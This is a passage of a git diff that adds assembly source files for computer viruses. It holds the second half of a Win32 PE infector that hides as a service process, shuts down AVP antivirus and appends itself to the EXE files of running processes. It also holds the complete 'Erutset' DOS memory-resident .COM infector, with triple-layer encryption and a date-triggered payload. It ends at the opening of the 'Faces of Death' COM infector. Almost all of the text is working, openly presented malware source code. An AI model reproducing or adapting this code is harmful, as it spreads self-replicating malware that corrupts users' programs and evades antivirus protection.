spawn file, then that means it is probably shared and therefore already +; in memory. +; + pop esi ; esi->spawn filename + call Create ; CreateFile + cmp eax,-1 ; if error, then we're already in mem + jz dealloc_goto_host + push eax ; save handle + mov ecx,VIRUS_SIZE + mov esi,ebp + add esi,offset vstart-physical_eip + call Write ; write our virus + call [ebp+CloseFileAPI] ; handle still on stack + + lea eax,[ebp+sinfo] ; overwrite some other unused vars + push eax + call [ebp+GetStartupInfoAPI] ; get startup info of process + + lea eax,[ebp+pinfo] ; storage for process info + push eax + lea eax,[ebp+sinfo] ; startup info + push eax + push 0 + push 0 + push 67108928h ; CREATE_DEFAULT_ERROR_MODE|IDLE + push 0 + push 0 + push 0 + push 0 + mov esi,[ebp+spawnfile] ; esi->spawn sysdir/file + push esi + call [ebp+CreateProcessAPI] ; create our viral process + + mov eax,[ebp+hprocess] + push eax + call [ebp+CloseHandleAPI] ; close handle of our process + +dealloc_goto_host: + mov eax,[ebp+spawnfile] + push eax + call [ebp+GlobalFreeAPI] +goto_host: +seh_exit: + + or ebp,ebp ; if spanwed + jz _exit + +; +; Here we calculate the image base, in case this executable was loaded at a base other +; than the one specified in the PE header. +; + + call get_ib_displacement +get_ib_displacement: + mov ebx,newep[ebp] + add ebx,(offset get_ib_displacement-offset vstart) + pop eax + sub eax,ebx ; eax=image base + add host_entry[ebp],eax ; add image base to host entry rva + + popfd + popad + pop dword ptr fs:[0] ; restore original SEH frame + pop edx ; fixup stack + + jmp [ebp+host_entry] ; jmp to host entry VA +host_entry dd offset vstart ; store host entry here +newep dd 0 + +; spawned virus code - we can throw away delta offsets now. This is +; the portion of the virus that stays resident. +; +spawned_func: + popfd + popad + pop dword ptr fs:[0] ; restore original SEH frame + pop edx ; fixup stack + xor ebp,ebp ; no delta offset +; +; first call PeekMessage so that the hourglass icon isn't displayed until +; timeout +; + push 0 + push 1 + push 0 + push 0 + push offset msgstruct + call PeekMessageA + +; +; here we try to get the address of RegisterServiceProcess, which will +; allow us to register as a service process under win95/98, therefore +; hiding us from the ctrl-alt-del process list. This API not available +; under WinNT, so we import it manually to make sure that it exists, we +; don't need any ivalid ordinal numbers on spawned virus loadup. +; +; While we're at it, we'll also attempt to import the address of our +; GetWindowModuleFileNameA from USER32.DLL. If this API doesn't exist, +; which it is a fairly new API, then we just pass control to the host. +; +; + push offset user32 + call GetModuleHandleA ; get handle of user32.dll + or eax,eax + jz _exit ; it should have been loaded + push offset GetWindowModuleFileName + push eax + call GetProcAddress + or eax,eax ; if we don't have this API, then + jz _exit ; we must be in old NT or 95 crap + mov GetWindowModuleFileNameA,eax + push offset kernel32 + call GetModuleHandleA + or eax,eax + jz _exit ; something bad wrong if this + push offset RegisterService + push eax + call GetProcAddress ; get rsp address + or eax,eax + jz isNT ; if not found, then NT system + push 1 ; 1=register process + push 0 ; null=current process + call eax ; RegisterServiceProcess + jmp is9598 +; +; Under WinNT we'll make use of PSAPI.DLL functionz to retrieve module filenames. +; We'll grab the address of GetModuleFileNameEx and EnumProcessModules +; + +isNT: + push offset psapi + call LoadLibraryA + or eax,eax + jz is9598 + mov phandle,eax + push offset EnumPModules + push eax + call GetProcAddress + mov EnumProcessModules,eax + or eax,eax + jz unload_psapi + push offset GetMFileName + push phandle + call GetProcAddress + mov GetModuleFileNameEx,eax + or eax,eax + jz unload_psapi + jmp is9598 +unload_psapi: + push phandle + call FreeLibrary +is9598: +; +; get rid of AVP Monitor by simulating a system shutdown, sending WM_ENDSESSION to +; its window +; +; + push offset avp_wndname ; AVP window name + push 0 ; class name + call FindWindowA ; Find AVP + or eax,eax ; get handle? + jz no_avp ; if not, then abort + + push 0 ; no lparam + push 0 ; or wparam + push WM_ENDSESSION ; WM_ENDSESSION generated at system shutdown + push eax ; handle to window + call PostMessageA ; Post the message + +no_avp: +; +; allocate memory for, and load our virus for later infection +; + push 280 + push 64 + call [GlobalAllocAPI] ; allocate memory for del buf + or eax,eax + jz _exit + mov del_buf,eax + push VIRUS_SIZE + push 64 + call [GlobalAllocAPI] + or eax,eax + jz _exit + mov virus_mem,eax + xor ecx,ecx ; return exe filename + call GetVirusPathFile + add eax,280 + inc ecx ; ecx!=0 get temp filename + call GetVirusPathFile + push eax ; save for below + push 0 + push eax + sub eax,280 + push eax + call CopyFileA + pop esi ; esi->tmp filename + call OpenRead + cmp eax,-1 + jz dealloc_exit + mov esi,virus_mem + mov ecx,VIRUS_SIZE + push eax ; save handle for close + call Read + cmp bytesread,VIRUS_SIZE + jnz dealloc_exit + call CloseHandle ; handle still on stack + mov eax,del_buf + inc ecx ; retrieve temp filename + call GetVirusPathFile ; get temp filename again + push eax + Call [DeleteFileAPI] ; delete temp file + jmp continue_spawned +dealloc_exit: + push del_buf + call [GlobalFreeAPI] + push virus_mem + call [GlobalFreeAPI] ; handle to mem still on stack + jmp _exit +; +; now we need to allocate memory for our array +; +continue_spawned: + push 256*max_idx+1 + push 64 ; GPTR - fixed, zero init + call [GlobalAllocAPI] ; allocate memory for our array + or eax,eax ; error allocating? exit + jz dealloc_exit + mov pnames,eax + push 1000h + push 64 ; allocate memory for modules enumeration + call [ebp+GlobalAllocAPI] ; + or eax,eax + jz dealloc_exit + mov mod_array,eax + + call GetCurrentProcess ; get current process handle + push 64 ; idle priority class + push eax ; handle of current process + call SetPriorityClass ; set priority to idle + + mov testnums,0 ; enumerate and load + call InstallEnum ; first enumeration +; +; This is our memory resident loop. What this does is every 1 second +; check the number of windows open by re-enumerating them. If this number +; differs from the last # of open windows, then we go and try to infect +; all the queued processes, in hopes that one has closed and is suitable +; for infection. We try to infect the queued processes about 10 times with +; a quarter second delay between each, or until we at least can open one of +; the files, this is just in case the window was closed but we still need +; to give the process time to terminate. +; +main_loop: + push 500 ; 1/2 second sleep + call Sleep ; suspend process for 1/2 second + + mov testnums,1 ; just check number of windows + call InstallEnum ; get number of windows + mov eax,totalwnd ; get total windows from last en&l + cmp testednums,eax + jz main_loop ; if equal keep enumerating + + mov icnt,0 ; we want to keep trying to infect +do_i: + call Infect ; infect if different # of windows open + cmp re_enum,0 + jnz over_i ; if infected a file, then abort + push 250 ; 1/4 second + call Sleep ; suspend process for 1/4 second + inc icnt ; increment counter + cmp icnt,10 ; we'll try 10 times + jnz do_i +over_i: + mov testnums,0 ; enumerate and load windows + call InstallEnum + jmp main_loop ; we'll want something else here.. + ; may eat up too much cpu time + ; some waitforsingleobject variation +_exit: + push 0 + call ExitProcess +; +; This procedure enumerates the windows using EnumWindows. See +; EnumWindowsProcedure below, which is called for each window found. +; +InstallEnum proc + cmp testnums,1 + jz jdoit + mov totalwnd,0 + mov totalexe,0 + mov eax,pnames + mov curpos,eax +jdoit: + mov testednums,0 + push 9090h + push offset EnumWindowsProc + call EnumWindows ; set up window enumeration + ret + +InstallEnum endp + +; +; EnumWindowsProc - this procedure is called for every window found. +; +; +EnumWindowsProc proc uses ebx edi esi, hwnd:DWORD, lparam:DWORD + cmp testnums,1 ; only testing num of windows? + jz enum_only ; if so just increment counter + cmp totalexe,max_idx ; filled our array? + jge not_exe ; if so just increment counter + mov eax,GetWindowModuleFileNameA + or eax,eax + jz is_old_win + push 255 ; maximum size of path&filename + null + push curpos ; pointer to current member of array + push hwnd ; handle of window + call eax ; get associated module filename + or eax,eax ; error - must be NT + jnz got_fname_ok +is_old_win: +; this is NT specific code +; If we couldn't + cmp EnumProcessModules,0 ; make sure we got api va + jz bad_abort + cmp GetModuleFileNameEx,0 ; make sure we got api va + jz bad_abort + push offset pid + push hwnd + call GetWindowThreadProcessId ; get process id + push pid + push 0 + push PROCESS_ALL_ACCESS + call OpenProcess ; open da process + mov phandle,eax + or eax,eax + jz bad_abort + push offset bytesread + push 1000h + push mod_array + push phandle + call [EnumProcessModules] ; enumerate process modules + mov esi,mod_array +getmodloop: + lodsd + or eax,eax + jz abortmodloop + push 255 ; maximum size of path&filename + null + push curpos ; pointer to current member of array + push eax + push phandle + call [GetModuleFileNameEx] ; get associated module filename + call testexe + jc getmodloop ; if not exe then keep scanning +abortmodloop: + push eax + push phandle + call CloseHandle + pop eax +got_fname_ok: + call testexe + jc not_exe ; if not, then don't add to pointer + add curpos,256 ; increment pointer to next member of array + inc totalexe ; increment total #s of EXEs found +not_exe: + inc totalwnd ; increment total number of window +bad_abort: + ret +enum_only: + inc testednums + ret +EnumWindowsProc endp + +; +; here we search the saved process filenames and try to infect each one +; +Infect proc + mov esi,pnames ; pointer to allocated array + sub esi,256 ; member -1, will make 0 in loop + mov curidx,-1 ; will increment to 0 + mov re_enum,0 ; if we infected flag + iloop: + inc curidx ; increment current member of array + add esi,256 ; increment index into array + mov eax,totalexe ; get total EXEs we found in enumer + cmp curidx,eax ; we exceeded that amount? + jg abloop ; if so we're done + push esi ; esi->array member (filename); save + call OpenFile ; try and open it + pop esi ; restore ptr to filename + cmp eax,-1 ; error opening file? + jz iloop ; if so skip to next member of array + mov fnameptr,esi ; else save the filename pointer + push eax ; eax=handle of file + call CloseHandle ; close the file + push esi + call InfectFile ; infect the file + pop esi + mov re_enum,1 ; set successful infectin flag + jmp iloop ; continue trying to infect +abloop: + ret +Infect endp + +testexe proc + or eax,eax + jz return_stc + mov ecx,eax ; ecx=size of path&filename of module + add ecx,curpos ; set up pointer to end of path&filename + sub ecx,3 ; extension starts here + cmp word ptr [ecx],'XE' ; make sure it's EXE + jz return_clc + cmp word ptr [ecx],'xe' + jz return_clc +return_stc: + stc + ret +return_clc: + clc + ret +testexe endp + +; return pointer to virus path and filename +; entry: eax->buffer +; ecx=0 if exe file, 1 if tmp file +; return: eax->buffer +GetVirusPathFile proc + + push eax + push ecx + push eax + + push 260 ; max path size + push eax ; ptr + call [ebp+GetSysDirAPI] ; get sys directory + + pop edi ; edi->sys directory + add edi,eax ; edi->end of dir + pop ecx + or ecx,ecx + jnz tmpname + lea esi,[ebp+virusname] ; esi->spawn filename + jmp append +tmpname: + lea esi,[ebp+tempname] +append: + call copy_str ; append to sys dir + pop eax + ret + +GetVirusPathFile endp + + +OpenRead: + mov ecx,3 + mov ebx,80000000h + jmp or +Create: + mov ecx,1 + jmp of +OpenFile proc + mov ecx,3 +of: + mov ebx,0c0000000h +or: + push 0 + push 20h ; attribute normal + push ecx ; 3=open existing file + push 0 + push 0 + push ebx ; permissions + push esi + call [ebp+CreateFileAPI] + ret +OpenFile endp + +Read proc + push 0 + push offset bytesread + push ecx + push esi + push eax + call ReadFile + ret +Read endp + +Write proc + push 0 + lea ebx,[ebp+bytesread] + push ebx + push ecx + push esi + push eax + call [ebp+WriteFileAPI] + ret +Write endp + + +;----------------------------------------------- +; infect file - call with fnameptr set +; +; As you can see, we append to the last object at RVA+virtual size +; and then set physical size to file_align(obj_virtual_size+ +; virus_physical_size). In this way, we take advantage of any padded +; space in the last object therefore decreasing the physical size +; increase of the host. +; +; It is my contention, that since the virtual size usually represents +; the true unaligned physical size, appending should always occur +; at the end of the virtual size and then the physical size should +; be aligned to the new virtual size. +; +; +InfectFile proc + + mov eax,fnameptr + push eax + call GetFileAttributesA ; get file attributes + mov oldattrib,eax + + cmp eax,-1 ; if error then maybe shared + jnz not_shared + ret ; can't infect it + +not_shared: + push 20h ; +A + mov eax,fnameptr + push eax + call SetFileAttributesA ; clear 'da attribs + + mov esi,fnameptr + call OpenFile + cmp eax,-1 + jnz open_ok + ret +open_ok: + mov handle,eax + + push offset creation + push offset lastaccess + push offset lastwrite + push eax + call GetFileTime ; grab the file time + + xor ecx,ecx ; only map size of file + call create_mapping ; create file mapping + jc abort_infect + ; eax->mapped file + cmp word ptr [eax],'ZM' ; is EXE? + jnz abort_infect + + call GetPEHeader ; load esi->PE Header + + push 2 + push esi ; test ptr for read acces + call IsBadReadPtr ; was ptr any good? + or eax,eax + jnz abort_infect + + cmp word ptr [esi],'EP' ; PE? + jnz abort_infect + + cmp dword ptr [esi+ID_OFF],0 ; any value here? + jnz abort_infect ; if yes, infected + + call unmap ; unmap file + + mov ecx,VIRUS_SIZE+1000h ; add max virus size to map size + call create_mapping ; map file again + jc abort_infect + + call GetPEHeader ; load esi -> pe header + + call GetTickCount ; get tick count + mov dword ptr [esi+ID_OFF],eax ; save as infect flag + + xor eax,eax + mov ax, word ptr [esi+NtHeaderSize] ; get header size + add eax,18h ; object table is here + + mov edi,esi + add edi,eax ; edi->object table + xor eax,eax + mov ax,[esi+numObj] ; get number of objects + dec eax ; we want last object + mov ecx,40 ; each object 40 bytes + xor edx,edx + mul ecx ; numObj-1*40=last object + add edi,eax ; edi->last obj + + mov eax,[edi+objpoff] ; get last object physical off + mov lastobjimageoff,eax ; save it + + mov ecx,[edi+objpsize] ; get physical size of object + mov eax,[edi+objvsize] ; get object virtual size + push eax ; save virtual size + push ecx ; save original p size + mov originalvsize,eax ; save it 4 later + add eax,VIRTUAL_SIZE ; add our virtual size + mov dword ptr [edi+objvsize],eax ; save new virtual size + mov ecx,[esi+filealign] ; physical size=filealign(vsize) + call align_fix ; align new vsize to be psize + mov [edi+objpsize],eax ; save new physical size + mov newpsize,eax ; store it for exe size calc + push eax + + mov ecx,dword ptr [esi+objalign] ; get object alignment + mov eax,dword ptr [edi+objvsize] ; add virtual size + add eax,dword ptr [edi+objrva] ; +last object rva + call align_fix ; set on obj alignment + mov dword ptr [esi+imagesize],eax ; save new imagesize + + mov [edi+objflags],0E0000060h ; set object flags r/w/x + + pop ecx ; restore new phsyical size + pop eax ; original psize + sub ecx,eax + mov diffpsize,ecx + + pop eax ; restore orginal virtual size + add eax,[edi+objrva] ; add last object's RVA + ; eax now RVA of virus code + add eax,physical_eip ; add physical eip: + mov ebx,[esi+entrypointRVA] ; get original entry + mov [esi+entrypointRVA],eax ; put our RVA as entry + + mov ecx,[ebp+virus_mem] + add ecx,host_physical_eip + mov [ecx],ebx ; save host e RVA + add ecx,4 + mov [ecx],eax ; save virus e RVA +; + push esi + + mov edi,map_ptr + add edi,originalvsize ; restore original virtual size + add edi,lastobjimageoff ; add object physical offset + ; edi->physical end of object + mov esi,virus_mem ; esi->virus + mov ecx,VIRUS_SIZE + rep movsb ; copy virus to host + + pop esi + mov ecx,lastobjimageoff + add ecx,newpsize + mov fsize,ecx ; store new filesize + push ecx ; ecx=real file size + + call unmap ; unmap file + + pop ecx + push FILE_BEGIN ; from file begin + push 0 ; distance high + push ecx ; distance low + push handle + call SetFilePointer ; move file pointer to + ; real EOF + push handle + call SetEndOfFile ; set end of file +; +; now we need to calculate checksum. We need to remap the file to get it +; right after file size change. I might be wrong about this, there could +; have been a bug in my code, but it seems resonable. +; + xor ecx,ecx + call create_mapping + jc unmapped + mov esi,[eax+3ch] + add esi,eax ; esi->pe header + lea eax,[esi+checksum] + push eax ; destination of checksum in hdr + push offset oldchksum + push fsize ; new file size + mov eax,map_ptr + push eax + call CheckSumMappedFile + call unmap + + jmp unmapped + +abort_infect: + call unmap ;unmap if aborted infection +unmapped: + + push offset creation + push offset lastaccess + push offset lastwrite + push handle + call SetFileTime ; restore orginal file time + + push handle + call CloseHandle + + mov eax,oldattrib ; get original attribs + push eax + mov eax,fnameptr + push eax + call SetFileAttributesA ; restore the original attributes + + ret +InfectFile endp + +GetPEHeader proc + mov esi,[eax+3Ch] ; where PE hdr pointer is + add esi,eax + ret +GetPEHeader endp + +; create_mapping - create file mapping of [handle] +; entry: ecx=mapping size +; +create_mapping proc + push ecx ; save mapping size + + push 0 ; high fsize storage, not needed + push handle ; file handle + call GetFileSize + call test_error + jc create_abort + mov fsize,eax + + pop ecx ; restore map size + + push 0 ; no map name + add eax,ecx + push eax ; low size+vs + push 0 ; high size + push PAGE_READWRITE ; read&write + push 0 + push handle + call CreateFileMappingA + call test_error + jc create_abort + mov maphandle,eax + + push 0 ; # of bytes, 0= map entire file + push 0 ; file offset low + push 0 ; file offset high + push FILE_MAP_WRITE ; access flags - read&write + push eax ; handle + call MapViewOfFile + call test_error + jc create_abort + mov map_ptr,eax + +create_abort: + ret +create_mapping endp + + +; test_error - test API for an error return +; entry: eax=API return +; returns: carry if error +; +test_error proc + cmp eax,-1 + jz api_err + or eax,eax + jz api_err + clc + ret +api_err: + stc + ret +test_error endp + +;-------------------------------------------------------------- +; unmap file - Unmap view of file +; +unmap: + + push map_ptr + call UnmapViewOfFile + push maphandle + call CloseHandle + ret + +;-------------------------------------------------------------- +; sets eax on alignment of ecx +; +align_fix: + xor edx,edx + div ecx ; /alignment + or edx,edx ; check for remainder + jz no_inc + inc eax ; next alignment +no_inc: + mul ecx ; *alignment + ret + +;------------------------------------------------------------- +; copy string +; pass edi->destination esi->source +; we could use lstrcat for this purpose, but oh well +; + +copy_str: + mov ecx,0FFh ; no bigger than 256 +copystr: + lodsb + stosb + cmp al,0 + jz copystrdone + loop copystr +copystrdone: + ret + +APIs: ; structure of ptrs to our API names +dd offset CreateFile +dd offset CloseHandleS +dd offset WriteFileS +dd offset CloseFile +dd offset GetSysDir +dd offset DeleteFile +dd offset CreateProc +dd offset GetStartUp +dd offset GlobalAlloc +dd offset GlobalFree +dd 0 + + ; our API names +CreateFile db 'CreateFileA',0 +CloseHandleS db 'CloseHandle',0 +WriteFileS db 'WriteFile',0 +CloseFile db 'CloseHandle',0 +GetSysDir db 'GetSystemDirectoryA',0 +DeleteFile db 'DeleteFileA',0 +CreateProc db 'CreateProcessA',0 +GetStartUp db 'GetStartupInfoA',0 +GlobalAlloc db 'GlobalAlloc',0 +GlobalFree db 'GlobalFree',0 + +API_Struct: ; structure for API VAs +CreateFileAPI dd 0 +CloseHandleAPI dd 0 +WriteFileAPI dd 0 +CloseFileAPI dd 0 +GetSysDirAPI dd 0 +DeleteFileAPI dd 0 +CreateProcessAPI dd 0 +GetStartupInfoAPI dd 0 +GlobalAllocAPI dd 0 +GlobalFreeAPI dd 0 + +APIStructEnd: +virusname db '\enumero.exe',0 +tempname db '\temp.tmp',0 +RegisterService db 'RegisterServiceProcess',0 +GetWindowModuleFileName db 'GetWindowModuleFileNameA',0 +EnumPModules db 'EnumProcessModules',0 +GetMFileName db 'GetModuleFileNameExA',0 +EnumProcessModules dd 0 +GetModuleFileNameEx dd 0 +GetWindowModuleFileNameA dd 0 +kernel32 db 'KERNEL32.DLL',0 +user32 db 'USER32.DLL',0 +psapi db 'PSAPI.DLL',0 +avp_wndname db 'AVP Monitor',0 +sinfo: +curpos dd 0 ; ptr to cur member of array +pnames dd 0 ; ptr to process names +totalexe dd 0 +totalwnd dd 0 +testnums dd 0 ; bool +testednums dd 0 +curidx dd 0 +icnt dd 0 +re_enum db 0 +bytesread dd 0 +handle dd 0 ; file handle +pinfo: ; process information +hprocess dd 0 +pid dd 0 +maphandle dd 0 +map_ptr dd 0 +nameptrtbl dd 0 +fsize dd 0 +adrtbl dd 0 +oldattrib dd 0 ; stored file attribs +ourAPIptr dd 0 +curAPIptr dd 0 +ordinaltbl dd 0 +kernelbase dd 0 +originalRVAptr dd 0 ; RVA ptr to our hooked API RVA +msgstruct: +originalRVA dd 0 ; orginal RVA of our hooked API +diffpsize dd 0 +oldchksum: +originalvsize dd 0 +lastobjimageoff dd 0 +creation dd 0,0 ; our file time structures +lastaccess dd 0,0 +lastwrite dd 0,0 +fnameptr dd 0 ; ptr to file name we're inf +spawnfile dd 0 +virus_mem dd 0 +phandle dd 0 +newpsize dd 0 +mod_array dd 0 ; ptr to allocated module array +del_buf dd 0 ; ptr to allocated delete buf memory +vend: +end vstart +ends + + + diff --git a/e/erutset.asm b/e/erutset.asm new file mode 100755 index 0000000..eb5bfcb --- /dev/null +++ b/e/erutset.asm @@ -0,0 +1,337 @@ +; ------------------------------------------------------------------------- ; +; Erutset v1.5 coded by KilJaeden of the Codebreakers 1998 ; +; ------------------------------------------------------------------------- ; +; Description: `-------------------| Started: 19/06/98 | Finished: 19/06/98 ; +; `-------------------^------------------- ; +; v1.0 - Memory resident .com appender, infects upon execution | Size: 637 ; +; v1.1 - restores time/date & attributes also infects readonly `---------- ; +; v1.2 - now has a single layer of XOR,NEG,ROR encryption ; +; v1.3 - added a second layer of XOR,NEG,NOT,ROR,ROL encryption ; +; v1.4 - added a third layer of XOR,NEG,NOT,ROR,ROL encryption ; +; v1.5 - added a small payload, prints a string and waits for keypress ; +; ------------------------------------------------------------------------- ; +; --------> Dedicated to the hate of all the '31337 h4x0rs' on IRC <------- ; +; ------------------------------------------------------------------------- ; +; to compile ::] tasm erutset.asm ; +; to link :::::] tlink /t erutset.obj ; +; ------------------------------------------------------------------------- ; + +code segment ; name our segment 'code' + assume cs:code,ds:code ; assign CS and DS to code + org 100h ; this be a .com file + .286 ; needed for pusha/popa + jumps ; save space wasted jumping + +blank: db 0e9h,0,0 ; jump to start of code +start: call delta ; push IP on to stack +delta: pop bp ; pop it into bp + sub bp,offset delta ; get the delta offset + +decr: jmp once ; jump to once (overwritten) + lea si,[bp+encd] ; load the source index up + mov di,si ; move it into DI + call encr ; decrypt the 1st layer + +; --------------------( Start Of 1st Encryption Blanket )------------------ ; +; ------------------------------------------------------------------------- ; + +encd: lea si,[bp+d_encd] ; load the source index up + mov di,si ; move it into DI again + mov cx,d_encr-d_encd ; # of bytes to decrypt + call d_encr ; decrypt the 2nd layer + +; --------------------( Start Of 2nd Encryption Blanket )------------------ ; +; ------------------------------------------------------------------------- ; + +d_encd: lea si,[bp+t_encd] ; load the source index up + mov di,si ; move it into DI again + mov cx,t_encr-t_encd ; # of bytes to decrypt + call t_encr ; decrypt the 3rd layer + +; --------------------( Start Of 3rd Encryption Blanket )------------------ ; +; ------------------------------------------------------------------------- ; + +t_encd: call pload ; check if payload time + + mov ax,0deadh ; check if already resident + int 21h ; if we are, bx = 0deadh now + cmp bx,0deadh ; does bx hold 0deadh ? + je first3 ; we are already resident! + + sub word ptr cs:[2],80h ; lower top of PSP mem data + mov ax,cs ; move CS into AX + dec ax ; decrement AX + mov ds,ax ; move AX into DS + sub word ptr ds:[3],80h ; sub 2kb from accessed MCB + xor ax,ax ; xor the value in ax to 0 + mov ds,ax ; move that value into DS + sub word ptr ds:[413h],2 ; adjust BIOS data by 2kb + mov ax,word ptr ds:[413h] ; move adjusted BIOS data + mov cl,6 ; load cl with value of 6 + shl ax,cl ; multiply BIOS mem by 64 + mov es,ax ; move value into ES + push cs ; push value of code segment + pop ds ; into data segment register + xor di,di ; xor value in DI to 0 + lea si,[bp+start] ; load the source index + mov cx,finished-start ; # of bytes to load up + rep movsb ; load virus into memory + + xor ax,ax ; value in ax to 0 + mov ds,ax ; move value into DS + lea ax,isr ; point IVT to new ISR + sub ax,offset start ; subtract start offset + mov bx,es ; move es into bx + + cli ; interrupts off + xchg ax,word ptr ds:[84h] ; switch old/new int 21h + xchg bx,word ptr ds:[86h] ; switch old/new int 21h + mov word ptr es:[oi21-offset start],ax ; save the old int 21h + mov word ptr es:[oi21+2-offset start],bx ; save the old int 21h + sti ; interrupts on + + push cs cs ; push code segment twice + pop ds es ; into DS and ES registers + +first3: lea si,[bp+saved] ; load up the source index + mov di,100h ; load the destination index + push di ; push 100h on to the stack + movsw ; move two bytes now + movsb ; move one byte now + retn ; return control to host + +; ------------------------------------------------------------------------- ; +; ------------------------------------------------------------------------- ; + +isr: pushf ; push all flags + cmp ax,0deadh ; are we testing if resident? + jne exec ; nope, check for execution + mov bx,0deadh ; yup, show them we are here + popf ; pop all flags + iret ; pop cs:ip+flags from stack + +exec: pusha ; push all registers + push ds ; push data segment register + push es ; push extra segment register + cmp ah,4bh ; something being executed? + je infect ; yup! infect the file +exit: pop es ; pop ES from the stack + pop ds ; pop DS from the stack + popa ; pop all registers + popf ; pop all flags +old21: db 0eah ; jump to original ISR + oi21 dd ? ; old int 21 goes here + ret ; return from call + +; ------------------------------------------------------------------------- ; +; ------------------------------------------------------------------------- ; + +infect: push bp ; save original delta offset + call tsrdel ; push IP on to stack again +tsrdel: pop bp ; pop it into bp + sub bp,offset tsrdel ; get the 2nd delta offset + + push ds ; push DS on to stack + pop es ; pop it into es + mov di,dx ; move file handle into di + mov cx,64 ; 64 byte filename possible + mov al,'.' ; load al with the . + cld ; clear direction flag + repnz scasb ; scan until . is hit + cmp word ptr ds:[di],'OC' ; is the file .CO- ? + jne abort ; not it isn't, abort + cmp word ptr ds:[di+2],'M' ; is the file .--M ? + jne abort ; no it isn't, abort + + mov ax,4300h ; get file attributes + int 21h ; get them now + push cx ; push the attributes + push dx ; push the file name + + mov ax,4301h ; set file attributes + xor cx,cx ; to no attributes at all + int 21h ; ready for infection + + mov ax,3d02h ; open the file read/write + int 21h ; open the file now + xchg bx,ax ; move the file handle + + push cs cs ; push CS on to stack twice + pop ds es ; pop it into DS and ES + + mov ax,5700h ; get time/date stamps + int 21h ; get them now + push dx ; save the date + push cx ; save the time + + mov ah,3fh ; the read function + lea dx,[bp+saved] ; record the bytes here + mov cx,3 ; read first three bytes + int 21h ; first three recorded + + mov ax,4202h ; scan to end of file + xor cx,cx ; xor value of cx to 0 + cwd ; likewize for dx + int 21h ; DX:AX = file size now! + + cmp dx,0 ; is the file < 65,535 bytes? + jne close ; way to big, close it up + mov cx,word ptr [bp+saved+1] ; move buffer+1 into cx + add cx,finished-start+3 ; virus size + jump + cmp ax,cx ; compare the two + jz close ; if equal, close it up + + sub ax,3 ; get jump to virus body size + mov word ptr [bp+newjump+1],ax ; write as our new jump + + mov ax,4200h ; point to start of file + xor cx,cx ; xor value of cx to 0 + cwd ; likewize for dx + int 21h ; pointing to SOF + + mov ah,40h ; write to file + mov cx,3 ; write three bytes + lea dx,[bp+newjump] ; write the jump + int 21h ; jump is written + + mov ax,4202h ; point to end of file + xor cx,cx ; xor value of cx to 0 + cwd ; likewize for dx + int 21h ; pointing to EOF + + lea si,[bp+start] ; load the source index + lea di,[bp+buffer] ; load the destination index + mov cx,finished-start ; # of bytes to put in mem + rep movsb ; load virus into memory + + lea di,[bp+t_encd-start+buffer] ; load the source index + mov si,di ; load the destination index + mov cx,t_encr-t_encd ; # of bytes to encrypt + call t_encr ; encrypt the 1st layer + + lea si,[bp+d_encd-start+buffer] ; load the source index + mov di,si ; load the destination index + mov cx,d_encr-d_encd ; # of bytes to encrypt + call d_encr ; encrypt the 2nd layer + + lea di,[bp+encd-start+buffer] ; load the destination index + mov si,di ; load the source index + mov cx,encr-encd ; # of bytes to encrypt + call encr ; encrypt the 3rd layer + + mov ah,40h ; write to file + mov cx,finished-start ; # of bytes to write + lea dx,[bp+buffer] ; write from mem + int 21h ; write the bytes now + +close: mov ax,5701h ; set time / date stamps + pop cx ; restore the time + pop dx ; restore the date + int 21h ; time / date is restored + + mov ax,4301h ; set file attributes + pop dx ; for this file name + pop cx ; with these attributes + int 21h ; attributes are restored + + mov ah,3eh ; close up the file + int 21h ; file is closed + +abort: pop bp ; pop original delta offset + jmp exit ; point to original ISR + +; ------------------------------------------------------------------------- ; +; ------------------------------------------------------------------------- ; + + saved db 0cdh,20h,0 ; our saved bytes + newjump db 0e9h,0,0 ; the soon to be jump + pldmsg db '',10,13 + db ' Infected with :: Erutset :: coded by KilJaeden of the Codebreakers 1998',10,13,'$' +; ------------------------------------------------------------------------- ; +; ------------------------------------------------------------------------- ; + +pload: mov ah,2ah ; get system time + int 21h ; get it now + cmp dl,23 ; is it the 23rd? + jne endpld ; nope, end the payload + mov ah,09h ; print a string + lea dx,[bp+pldmsg] ; our message + int 21h ; print our message + mov ah,00h ; wait for keypress + int 16h ; make them see us +endpld: ret ; return from call + +; --------------------( End Of 3rd Encryption Blanket )-------------------- ; +; ------------------------------------------------------------------------- ; + +t_encr: lodsb ; load a byte + xor al,0C4h ;-----[1] + ror al,4 ;----[2] + not al ;---[3] + neg al ;--[4] + rol al,4 ;-[5] + neg al ;--[4] + not al ;---[3] + ror al,4 ;----[2] + xor al,0C4h ;-----[1] + stosb ; store a byte + loop t_encr ; do all the bytes + ret ; return from call + +; --------------------( End Of 2nd Encryption Blanket )-------------------- ; +; ------------------------------------------------------------------------- ; + +d_encr: lodsb ; load a byte + neg al ;---------[1] + ror al,4 ;--------[2] + not al ;-------[3] + neg al ;------[4] + rol al,4 ;-----[5] + not al ;----[6] + ror al,4 ;---[7] + neg al ;--[8] + xor al,069h ;-[9] encryption/decryption + neg al ;--[8] + ror al,4 ;---[7] + not al ;----[6] + rol al,4 ;-----[5] + neg al ;------[4] + not al ;-------[3] + ror al,4 ;--------[2] + neg al ;---------[1] + stosb ; store the byte + loop d_encr ; do all the bytes + ret ; return from call + +; --------------------( End Of 1st Encryption Blanket )-------------------- ; +; ------------------------------------------------------------------------- ; + +encr: lodsb ; load a byte + neg al ;---[1] + ror al,4 ;--[2] + xor al,0C4h ;-[3] encryption/decryption + ror al,4 ;--[2] + neg al ;---[1] + stosb ; store the byte + loop encr ; do all the bytes + ret ; return from call + +; ------------------------------------------------------------------------- ; +; ------------------------------------------------------------------------- ; + + buffer: ; save our virus in mem + finished: ; end of the virus + +once: lea si,[bp+new] ; load the source index + lea di,[bp+decr] ; load the destination index + movsw ; move two bytes + movsb ; move one byte + jmp t_encd ; jump to encrypted area +new: mov cx,encr-encd ; this replaces the jump + + code ends ; end code segment + end blank ; end / where to start + +; ------------------------------------------------------------------------- ; +; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ; +; ------------------------------------------------------------------------- ; diff --git a/f/FACES.ASM b/f/FACES.ASM new file mode 100755 index 0000000..32d1898 --- /dev/null +++ b/f/FACES.ASM @@ -0,0 +1,246 @@ +; ------------------------------------------------------------------------------ +; +; - Faces of Death - +; Created by Immortal Riot's destructive development team +; (c) 1994 The Unforgiven/Immortal Riot +; +; ------------------------------------------------------------------------------ +; Undetectable COM-infector(s) with a neat pay-load system! +; ------------------------------------------------------------------------------ +.model tiny +.radix 16 +.code +org 100h + +start: + +first_gen_buffer db 00,00,00,00 ; for first generation only! + +v_start: + +entry_point: + 